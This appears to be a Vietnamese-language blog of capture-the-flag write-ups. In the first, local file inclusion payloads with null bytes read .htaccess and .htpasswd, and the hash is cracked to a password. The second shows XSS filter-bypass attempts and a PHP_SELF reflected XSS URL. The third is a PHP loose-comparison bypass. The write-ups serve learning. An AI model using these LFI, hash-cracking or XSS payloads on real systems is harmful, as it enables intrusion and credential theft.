Security Challenge 1

Links: damo.clanteam.com/sch1/index.php

Click vào home thấy URL là:

http://damo.clanteam.com/sch1/index.php?page=main

Dự đoán trang bị lỗi file inclusion, thử với payload để lấy file .htaccess:

http://damo.clanteam.com/sch1/index.php?page=admin/.htaccess%00

Kết quả được là:

AuthType Basic AuthName “Restricted Access!” AuthUserFile /www/clanteam.com/d/a/m/damo/htdocs/hiddenfoldersch1/.htpasswd Require user damo

Bây giờ cần đọc file .htpasswd, ta dùng payload:

http://damo.clanteam.com/sch1/index.php?page=../hiddenfoldersch1/.htpasswd%00

Kết quả là:

damo:$apr1$a1ce30f9$gPGHBAYaHDGK7asUC6DdN/

Ta đã có password đã mã hóa của user damo, bây giờ cần giải mã nó. Tôi sẽ dùng công cụ John the Ripper với wordlist là rockyou.txt

john --wordlist=rockyou.txt passwd.txt

Được mật khẩu là: explosion

Bây giờ nhập damo:explosion để xác thực truy cập vào folder admin, ta được key là:

solution

 

Thanks damo for this challenge!

Advertisements

[securityoverride.org] Basic Mission 15

Đây là challenge tốn không ít thời gian khám phá và search google cũng như forum bàn luận của trang này mà tôi mới làm được nó. Nó không sử dụng các kĩ thuật mà tôi đã biết trước đó nên khi làm xong cảm thấy bổ ích hơn các challenge khác (cả bài 14 nữa).

Quyết định viết “writeup” để hiểu chi tiết về nó một chút.

Khi bắt đầu thì nó cho cái form submit thế này:

pic1

Mục tiêu đề ra là phải tạo được một cái messagebox với nội dung là xss.

Cũng như bao challenge khác, tôi cặm cụi tìm cách bypass filter:

Đầu tiên chắc chắn là phải thử cái này:

<script>alert(‘xss’);</script>

Thử cho vui chứ chắc chắn là không được rồi vì các dấu < > đã được html encode.

Xong rồi thử hết các kiểu thông thường mà tôi nghĩ là có thể được như:

base64 encode:

PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ+

hex encode:

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3b%3c%2f%73%63%72%69%70%74%3e

String.fromCharCode:

alert(String.fromCharCode(88, 83, 83))

Rồi thử tùm lum các kiểu nhưng thử hoài mà không được nên tôi phải dừng lại và suy nghĩ.

Nghĩ không ra mới vào forum xem họ bàn luận thế nào. Các pro đã giải challenge này có hint là phải xác định được chỗ bị lỗi rồi mới khai thác.

Tức là có khả năng tôi đã xác định sai entry point để tấn công, mà đúng là sai thật!!!

View source và thấy cái comment này:

<div style='color: #fff;'>Note: Sorry to all the legitimate bbcode users,
but previously, some jerk exploited them, and so I had to remove bbcodes all together
my <!--php_-->self... So no more bbcodes. :(</div><br />
<form action='/challenges/basic/15/index.php' method='post'>
<textarea name='comment' cols='70' rows='7' class='textbox' style='width:98%;'></textarea>
<br />
<input type='submit' value='Post Comment' />
</form>

Chú ý cái chỗ:

<!–php_–>self…

cái chỗ này nó chả phải là ngẫu nhiên rồi :((

Search Google về PHP_SELF rồi đọc một hồi, tôi hiểu ra vấn đề ở chỗ cái form submit.

Cái chỗ:

action=’challenges/basic/15/index.php

nó không phải là fix cứng mà coder đã set nó bằng cái này:

action= $SERVER[‘PHP_SELF’]

Cái biến này cụ thể nó là như sau:

Nếu như file php của mình mà đặt tại địa chỉ:

http://www.yourserver.com/form-action.php

thì PHP_SELF sẽ có giá trị là:

“/form-action.php”

Nếu file php đặt tại vị trí:

http://www.yourserver.com/dir1/form-action.php

thì PHP_SELF lúc này nó sẽ có giá trị:

“/dir1/form-action.php”

Sau khi hiểu về cái PHP_SELF này thì áp dụng vào bài của mình:

PHP file đang đặt tại:

http://securityoverride.org/challenges/basic/15/index.php

và cái thằng action của form nó có giá trị:

‘/challenges/basic/15/index.php’

=> chuẩn cmnr. Nó đã dùng PHP_SELF ở cái chỗ này.

Bây giờ không submit ở form nữa mà phải ở URL:

http://securityoverride.org/challenges/basic/15/index.php/'><script>alert('xss');</script>

và nó đã hiện lên cái messagebox:

pic2

Form của chúng ta bây giờ nó đã trở thành:

<form action=’/challenges/basic/15/index.php/’><script>alert(‘xss’);</script>’ method=’post’>

Chốt lại bài này sau khi làm xong biết thêm 1 entry point khi khai thác XSS, nó chính là thuộc tính action của form

Thanks!

Advanced Mission 1

PHP Sucks

Bypass PHP checks:

<?php
     $input = trim(getUserInput());
     if(
           str_split($input) == array(0,0,0,0) ||
           strcmp($input, "0000") == 0 ||
           strcmp($input, "000") == 0 ||
           strcmp($input, "00") == 0 ||
           strcmp($input, "0") == 0 ||
           $input === 0 ||
           preg_match("/^[\d]{1,}$/D", $input)
     )fail_advanced_1();

     if($input == "0000") complete_advanced_1();
?>

By using == compare, PHP will not check type of variables. So pass this challenge by submit 0e0 because 0e0 = 0000 (haha)